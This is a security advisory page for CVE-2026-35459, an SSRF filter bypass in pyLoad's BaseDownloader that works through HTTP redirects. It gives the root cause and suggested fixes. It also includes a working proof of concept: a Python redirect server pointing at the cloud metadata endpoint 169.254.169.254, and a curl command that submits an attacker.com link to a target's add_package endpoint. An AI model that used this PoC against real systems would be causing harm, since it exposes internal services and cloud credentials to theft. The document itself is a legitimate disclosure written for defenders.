NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · PyPI

CVE-2026-35459: pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)

criticalCVSS 4.0 9.3GHSA-7gvf-3w72-p2pg

Summary The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.

Published Apr 4, 2026 · Updated Apr 6, 2026

Affected packages

pyload-ng

Ecosystem
PyPI
Affected
<= 0.5.0b3.dev96
Fixed in
No patched version yet
Check
pip show pyload-ng

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.

An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.

Root Cause

The SSRF check at src/pyload/plugins/base/downloader.py:335-341 validates only the initial URL:

dl_hostname = urllib.parse.urlparse(dl_url).hostname if is_ip_address(dl_hostname) and not is_global_address(dl_hostname): self.fail(...) else: for ip in host_to_ip(dl_hostname): if not is_global_address(ip): self.fail(...)

After the check passes, _download() is called. pycurl is configured at src/pyload/core/network/http/http_request.py:114-115 to follow redirects:

self.c.setopt(pycurl.FOLLOWLOCATION, 1) self.c.setopt(pycurl.MAXREDIRS, 10)

No CURLOPT_REDIR_PROTOCOLS restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.

PoC

Redirect server (attacker-controlled):

from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header("Location", "http://169.254.169.254/metadata/v1.json") self.end_headers()

HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()

Submit to pyload (requires ADD permission):

curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \ -d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'

The SSRF check resolves attacker.com to a public IP and passes. pycurl follows the 302 redirect to http://169.254.169.254/metadata/v1.json without validation. Cloud metadata is downloaded and saved to the storage folder.

Impact

An authenticated user with ADD permission can access:

  • Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity
  • Internal network services (10.x, 172.16.x, 192.168.x)
  • Localhost services (127.0.0.1)

This is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.

Suggested Fix

Disable automatic redirect following and validate each redirect target:

In HTTPRequest.__init__():

self.c.setopt(pycurl.FOLLOWLOCATION, 0)

Then implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:

self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)

And add a pycurl callback to validate redirect destination IPs before following.

Resources

  • CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.

Credited to kodareef5.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

More PyPI vulnerabilities

All PyPI entries